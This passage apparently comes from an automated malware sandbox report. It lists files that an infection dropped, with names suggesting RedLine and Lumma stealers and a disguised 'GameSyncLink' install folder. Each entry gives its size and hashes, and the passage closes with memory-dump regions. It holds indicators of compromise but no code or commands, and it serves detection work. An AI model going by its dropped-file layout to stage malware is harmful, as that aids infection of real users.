            c7f29056f46d16f7500f5356adaa2ef637aaf5cade2b9a78f3bcd95c0e6ec207

            SHA512

            50f038e54234ca439d106cec8d2c7f48f9a1d93f396e5c4a5230215b4fa4e5277fe20fe8c7cdf798f0280f712d06b330d6552ae9160dd7fcb6c4cf1aa13ce173

            Download Submit
          • C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe
            Filesize

            474KB

            MD5

            e967f019b01357086d92181e6ee28e0b

            SHA1

            7f26480ea5ca0ee9481dfc0bea12194bd6f10283

            SHA256

            c69c17f4c6b2206437e7954c02424b80605d40e98c0adcad6839e170c94b1c82

            SHA512

            dd2abe993397cf9f117753fd71ed9f98c4952616ee30f10479fbc3dad93a88dcfbfd6b80083541c7a796936dd37667a0f178156bdf5c35abf76dd8b23015d88a

            Download Submit
          • C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
            Filesize

            304KB

            MD5

            9faf597de46ed64912a01491fe550d33

            SHA1

            49203277926355afd49393782ae4e01802ad48af

            SHA256

            0854678d655668c8ebb949c990166e26a4c04aef4ecf0191a95693ca150a9715

            SHA512

            ef8a7a8566eaf962c4e21d49d9c1583ed2cdc9c2751ce75133a9765d2fa6dc511fc6cc99ea871eb83d50bd08a31cb0b25c03f27b8e6f351861231910a6cf1a1e

            Download Submit
          • C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
            Filesize

            4.2MB

            MD5

            0f52e5e68fe33694d488bfe7a1a71529

            SHA1

            11d7005bd72cb3fd46f24917bf3fc5f3203f361f

            SHA256

            efd29c35766c607aa15d1cb83dec625739791b1616ad37d5b47e78cdb8a42ca8

            SHA512

            238fbb1c04eef2f2005cb7abf0223e3cd062d9d2840966292e19dcaa495609e134a0bdc35389ae9925ecfc787a13772d3ac7b29058579f702bc849dd0343c400

            Download Submit
          • C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe
            Filesize

            778KB

            MD5

            05b11e7b711b4aaa512029ffcb529b5a

            SHA1

            a8074cf8a13f21617632951e008cdfdace73bb83

            SHA256

            2aab2ca39749b21877d1c52526009f9f5d251d934205e9f671a9e84cecd55afa

            SHA512

            dde7b561ffb3b9fe71827be9313cd3b83900c3ce76b053d028e84223fba1b06035437b3860a74de7dc2f5d40f0b90bd7d60139701d752c803eb08f362a5d57ff

            Download Submit
          • C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
            Filesize

            1.2MB

            MD5

            56e7d98642cfc9ec438b59022c2d58d7

            SHA1

            26526f702e584d8c8b629b2db5d282c2125665d7

            SHA256

            a2aa61942bae116f8c855fda0e9a991dba92b3a1e2f147aee0e7e2be1bdea383

            SHA512

            0be0b11de472029bd4e2268cddb5ddb381f7f275dfe50c47b9c836980e5cbfa7f71fe78804ef2180ee110ca9cf36944ec8b8b22babb31a1fc7a6585f79932a1f

            Download Submit
          • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
            Filesize

            418KB

            MD5

            0099a99f5ffb3c3ae78af0084136fab3

            SHA1

            0205a065728a9ec1133e8a372b1e3864df776e8c

            SHA256

            919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226

            SHA512

            5ac4f3265c7dd7d172284fb28c94f8fc6428c27853e70989f4ec4208f9897be91720e8eee1906d8e843ab05798f3279a12492a32e8a118f5621ac5e1be2031b6

            Download Submit
          • C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe
            Filesize

            764KB

            MD5

            e45dcabc64578b3cf27c5338f26862f1

            SHA1

            1c376ec14025cabe24672620dcb941684fbd42b3

            SHA256

            b05176b5e31e9e9f133235deb31110798097e21387d17b1def7c3e2780bbf455

            SHA512

            5d31565fbb1e8d0effebe15edbf703b519f6eb82d1b4685661ce0efd6a25d89596a9de27c7690c7a06864ce957f8f7059c8fdee0993023d764168c3f3c1b8da9

            Download Submit
          • C:\Users\Admin\AppData\Local\Temp\1000052001\ReurgingGleek.exe
            Filesize

            596KB

            MD5

            1d3535cc01b2cc54b808a55e945707a0

            SHA1

            a9a563b8ee37f17c847248bb207b28086d9f4628

            SHA256

            f5faa2b827aaae846580fe313cfc3562fcf04dbf26320c7190247621c7e10f19

            SHA512

            4c344a2abc7ace17a3fced1e3fcf09ac959b47d8bc1a5bf4280d46c3dccd015254a42ce722f93bbbe28f9866696db685df6209b4e863fa9e02772753eeb2ebbc

            Download Submit
          • C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd
            Filesize

            208B

            MD5

            2dbc71afdfa819995cded3cc0b9e2e2e

            SHA1

            60e1703c3fd4fe0fba9f1e65e10a61e0e72d9faf

            SHA256

            5a0070457636d37c11deb3148f6914583148fe45a66f44d7852f007ed5aad0ac

            SHA512

            0c59fa999ed912e6e747017c4e4c73f37ed7a72654f95eaea3db899308468e8756621db6e4edfd79e456ec69ce2e3e880817410b6aab1d01414f6300240d8b52

            Download Submit
          • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
            Filesize

            1.8MB

            MD5

            b375cfe094865db6acc0ed45c5a85270

            SHA1

            dee3ae5cb5a242235840eebbf9b5e48b49c1e82f

            SHA256

            5b106bf9a47ca9e6898ca72a3b803e9462df53a0f8c13d60b9f40a68ef71d588

            SHA512

            dfd602ac1804dfc8fab1b02784789ea30632012e09c2172969de1ab4792c286c567586a2ed9003b8b1659ec16b49c1cdf23bb58d69c870c9c15e67465b16e316

            Download Submit
          • C:\Users\Admin\AppData\Local\Temp\CabB878.tmp
            Filesize

            65KB

            MD5

            ac05d27423a85adc1622c714f2cb6184

            SHA1

            b0fe2b1abddb97837ea0195be70ab2ff14d43198

            SHA256

            c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

            SHA512

            6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

            Download Submit
          • C:\Users\Admin\AppData\Local\Temp\TarB9F6.tmp
            Filesize

            177KB

            MD5

            435a9ac180383f9fa094131b173a2f7b

            SHA1

            76944ea657a9db94f9a4bef38f88c46ed4166983

            SHA256

            67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

            SHA512

            1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

            Download Submit
          • C:\Users\Admin\AppData\Local\Temp\Tmp5977.tmp
            Filesize

            2KB

            MD5

            1420d30f964eac2c85b2ccfe968eebce

            SHA1

            bdf9a6876578a3e38079c4f8cf5d6c79687ad750

            SHA256

            f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9

            SHA512

            6fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8

            Download Submit
          • C:\Users\Admin\AppData\Local\Temp\tmpBB56.tmp
            Filesize

            46KB

            MD5

            02d2c46697e3714e49f46b680b9a6b83

            SHA1

            84f98b56d49f01e9b6b76a4e21accf64fd319140

            SHA256

            522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9

            SHA512

            60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

            Download Submit
          • C:\Users\Admin\AppData\Local\Temp\tmpBB6B.tmp
            Filesize

            92KB

            MD5

            cca646afddab881d02bb60864ff72e23

            SHA1

            25b462e62a0219857cc854f6433e8acea77e3dbc

            SHA256

            c7223e5de0b0db22b3e193b2d48215816c75472ccdf9330a0ab66d4731b2e49e

            SHA512

            c35da6cfe5e4a3f887a876b38b4e5b9e6d5c035cf8d6f20158f89ee14a196941fd6a29faa1f90f64cd253556536670773ec15cd358014d994483a8745c41587d

            Download Submit
          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HZL4EM6X2EO8BKHEHC1R.temp
            Filesize

            7KB

            MD5

            407469a06a712ca587b64efd1e546b6e

            SHA1

            4617c8607e77c8453f9cb21dd091ebd32a2dc823

            SHA256

            29e07ad205fe2089a59f329724a5e01d45847f14862c5c51cab5f233d6afd898

            SHA512

            dbed8c3040053e656e53e410f5cbafaa74dbdafb2ab371df376341c2a291cc91330582d35c0d3e672f7819e3d3671bb144d4a3d3ef07f144bfec54d7a90e1ed8

            Download Submit
          • C:\Windows\Temp\661262.exe
            Filesize

            6.0MB

            MD5

            5cdb390aaba8caad929f5891f86cf8d7

            SHA1

            324a43fa56dffe541c0414f253faf2bf34ad9fa4

            SHA256

            1dfe2dd5f1bd757e852a271e0dc34f96aa9418983e9c8aded545302d2d69de44

            SHA512

            9e8dab07b840d9b0949a539e70cfa155ad08b34c73ae7f2810909f4bf5e1ddcee79f9630a9422083d244322d1afd9d91ade9fc4d75324bc4e45ee67a4900bbe9

            Download Submit
          • C:\Windows\Temp\935840.exe
            Filesize

            2.0MB

            MD5

            5c9e996ee95437c15b8d312932e72529

            SHA1

            eb174c76a8759f4b85765fa24d751846f4a2d2ef

            SHA256

            0eecdbfabaaef36f497e944a6ceb468d01824f3ae6457b4ae4b3ac8e95eebb55

            SHA512

            935102aad64da7eeb3e4b172488b3a0395298d480f885ecedc5d8325f0a9eabeea8ba1ece512753ac170a03016c80ba4990786ab608b4de0b11e6343fbf2192b

            Download Submit
          • \Program Files (x86)\GameSyncLink\GameSyncLink.exe
            Filesize

            2.5MB

            MD5

            e6943a08bb91fc3086394c7314be367d

            SHA1

            451d2e171f906fa6c43f8b901cd41b0283d1fa40

            SHA256

            aafdcfe5386452f4924cfcc23f2cf7eccf3f868947ad7291a77b2eca2af0c873

            SHA512

            505d3c76988882602f06398e747c4e496ecad9df1b7959069b87c8111c4d9118484f4d6baef5f671466a184c8caec362d635da210fa0987ccb746cbeea218d2a

            Download Submit
          • \Program Files (x86)\GameSyncLink\GameSyncLinks.exe
            Filesize

            6.2MB

            MD5

            1bacbebf6b237c75dbe5610d2d9e1812

            SHA1

            3ca5768a9cf04a2c8e157d91d4a1b118668f5cf1

            SHA256

            c3747b167c70fd52b16fb93a4f815e7a4ee27cf67d2c7d55ea9d1edc7969c67d

            SHA512

            f6438eced6915890d5d15d853c3ad6856de949b7354dcea97b1cf40d0c8aed767c8e45730e64ab0368f3606da5e95fd1d4db9cc21e613d517f37ddebbd0fa1fe

            Download Submit
          • \Program Files (x86)\GameSyncLink\PiercingNetLink.exe
            Filesize

            13.2MB

            MD5

            72b396a9053dff4d804e07ee1597d5e3

            SHA1

            5ec4fefa66771613433c17c11545c6161e1552d5

            SHA256

            d0b206f0f47a9f8593b6434dc27dadde8480a902e878882fa8c73fc7fe01b11d

            SHA512

            ad96c9ca2feae7af7fcf01a843d5aa6cbdde0520d68dedff44554a17639c6c66b2301d73daf272708cb76c22eae2d5c89db23af45105c4f0e35f4787f98e192b

            Download Submit
          • \Windows\Temp\cudart64_101.dll
            Filesize

            398KB

            MD5

            1d7955354884a9058e89bb8ea34415c9

            SHA1

            62c046984afd51877ecadad1eca209fda74c8cb1

            SHA256

            111f216aef35f45086888c3f0a30bb9ab48e2b333daeddafd3a76be037a22a6e

            SHA512

            7eb8739841c476cda3cf4c8220998bc8c435c04a89c4bbef27b8f3b904762dede224552b4204d35935562aa73f258c4e0ddb69d065f732cb06cc357796cdd1b2

            Download Submit
          • memory/1256-211-0x00000000004D0000-0x00000000004F0000-memory.dmp
            Filesize

            128KB

            Download
          • memory/1292-78-0x0000000000140000-0x0000000000192000-memory.dmp
            Filesize

            328KB

            Download
          • memory/1292-398-0x000000001B6C0000-0x000000001B9A2000-memory.dmp
            Filesize

            2.9MB

            Download
          • memory/1292-399-0x0000000002860000-0x0000000002868000-memory.dmp
            Filesize

            32KB

            Download
          • memory/1596-390-0x0000000000D20000-0x0000000000D3A000-memory.dmp
            Filesize

            104KB

            Download
          • memory/1656-391-0x0000000000DF0000-0x0000000000E0E000-memory.dmp
            Filesize

            120KB

            Download
          • memory/1664-328-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-294-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-273-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-274-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-276-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-278-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-271-0x00000000023E0000-0x0000000002446000-memory.dmp
            Filesize

            408KB

            Download
          • memory/1664-272-0x0000000002450000-0x00000000024B4000-memory.dmp
            Filesize

            400KB

            Download
          • memory/1664-280-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-326-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-324-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-282-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-322-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-284-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-320-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-318-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-316-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-314-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-312-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-310-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-308-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-306-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-304-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-302-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-300-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-298-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-296-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-286-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-292-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-290-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1664-288-0x0000000002450000-0x00000000024AF000-memory.dmp
            Filesize

            380KB

            Download
          • memory/1976-404-0x000000001B4A0000-0x000000001B782000-memory.dmp
            Filesize

            2.9MB

            Download
          • memory/1976-405-0x0000000001ED0000-0x0000000001ED8000-memory.dmp
            Filesize

            32KB

            Download
          • memory/2656-18-0x0000000000A10000-0x0000000000EC0000-memory.dmp
            Filesize

            4.7MB

            Download
          • memory/2656-17-0x0000000000A11000-0x0000000000A3F000-memory.dmp
            Filesize

            184KB

            Download
          • memory/2656-63-0x0000000000A10000-0x0000000000EC0000-memory.dmp
            Filesize

            4.7MB

            Download
          • memory/2656-92-0x0000000000A10000-0x0000000000EC0000-memory.dmp
            Filesize

            4.7MB

            Download
          • memory/2656-186-0x0000000000A10000-0x0000000000EC0000-memory.dmp
            Filesize

            4.7MB

            Download
          • memory/2656-189-0x0000000000A10000-0x0000000000EC0000-memory.dmp
            Filesize

            4.7MB

            Download
          • memory/2656-21-0x0000000000A10000-0x0000000000EC0000-memory.dmp
            Filesize

            4.7MB

            Download
          • memory/2656-20-0x0000000000A10000-0x0000000000EC0000-memory.dmp
            Filesize

            4.7MB

            Download
          • memory/2656-188-0x0000000000A10000-0x0000000000EC0000-memory.dmp
            Filesize

            4.7MB

            Download
          • memory/2656-15-0x0000000000A10000-0x0000000000EC0000-memory.dmp
            Filesize

            4.7MB

            Download
          • memory/2656-16-0x00000000774B0000-0x00000000774B2000-memory.dmp
            Filesize

            8KB

            Download
          • memory/2672-441-0x0000000001D20000-0x0000000001D28000-memory.dmp
            Filesize

            32KB

            Download
          • memory/2672-618-0x0000000002960000-0x000000000296C000-memory.dmp
            Filesize

            48KB

            Download
          • memory/2816-38-0x00000000000E0000-0x00000000000E1000-memory.dmp
            Filesize

            4KB

            Download
          • memory/2816-39-0x00000000000E0000-0x00000000000E1000-memory.dmp
            Filesize

            4KB

            Download
          • memory/3008-0-0x0000000000240000-0x00000000006F0000-memory.dmp
            Filesize

            4.7MB

            Download
          • memory/3008-14-0x0000000000240000-0x00000000006F0000-memory.dmp
            Filesize

            4.7MB

            Download
          • memory/3008-4-0x0000000000240000-0x00000000006F0000-memory.dmp
            Filesize

            4.7MB

            Download
          • memory/3008-2-0x0000000000240000-0x00000000006F0000-memory.dmp
            Filesize

            4.7MB

            Download
          • memory/3008-1-0x0000000000240000-0x00000000006F0000-memory.dmp
            Filesize

            4.7MB

            Download
          • memory/3056-617-0x00000000010C0000-0x00000000010DA000-memory.dmp
            Filesize

            104KB

            Download